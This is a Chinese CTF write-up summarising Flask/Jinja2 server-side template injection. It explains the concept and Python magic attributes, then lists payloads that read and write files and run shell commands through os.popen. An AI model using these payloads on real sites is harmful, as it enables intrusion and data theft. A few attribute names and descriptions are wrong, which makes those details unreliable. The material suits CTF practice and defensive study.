0x00 前言
本人是一名弱小的ctfer,最近又刷到和SSTI有关的ctf题目,故将之前的笔记和最近的心得进行归纳和总结,内容主要是针对SSTI中的flask模板,写的不好,各位多多见谅
0x01 简介
什么是SSTI
SSTI,即服务器端模板注入(Server-Side Template Injection)
攻击者在服务器输入语句,服务端将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,进行了语句的拼接,执行了所插入的恶意内容,从而导致信息泄露、代码执行、GetShell等问题。
注入原理可以这样理解:用户输入的数据没有被合理处理控制就有可能插入到程序中进行代码拼接成为程序的一部分,以致于改变运行的逻辑。
0x02 基本语法
官方文档对于模板的语法介绍如下
{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
解释:
{%%}:主要用来声明变量,也可以用于条件语句和循环语句
{{}}:用于将表达式打印到模板输出
如:{{1+1}}会输出2
{{3*3}}会输出9
所以在做题时大部分ctfer通常会用{{3*3}}来简单测试页面是否存在SSTI
{##}:表示未包含在模板输出中的注释(偷偷告诉你,基本不用哈哈)
0x03 魔术方法
__class__
用于返回对象所属的类
__base__
以字符串的形式返回一个类所继承的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
__subclasses__()
获取类的所有子类
__int__
所有自带带类都包含init方法,并且常用它当跳板调用globals
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
0x04 构造链思路(制作payload)
第一步:内置类对应类
使用__class__来获取内置类所对应的类
第二步:基类
拿到object基类:使用__base__拿到基类或通常使用__mro__[1]
第三步:子类
使用__subclass()__拿到子类列表
第四步:找到getshell的类
在子类列表中找到可以getshell的类
0x04 常用payload
获取基本类
.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:1.php').read()
object.__subclasses__()[40](r'C:1.php').read()
写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
object.__subclasses__()[40]('/var/www/html/input', 'w').write('123')
执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
0x05 经典题目训练
2018护网杯easy_tornado
2020 BJDCTF Cookie is so stable
202 BJDCTF2nd Fake Google等
本文始发于微信公众号(天禧信安):部分SSTI注入总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论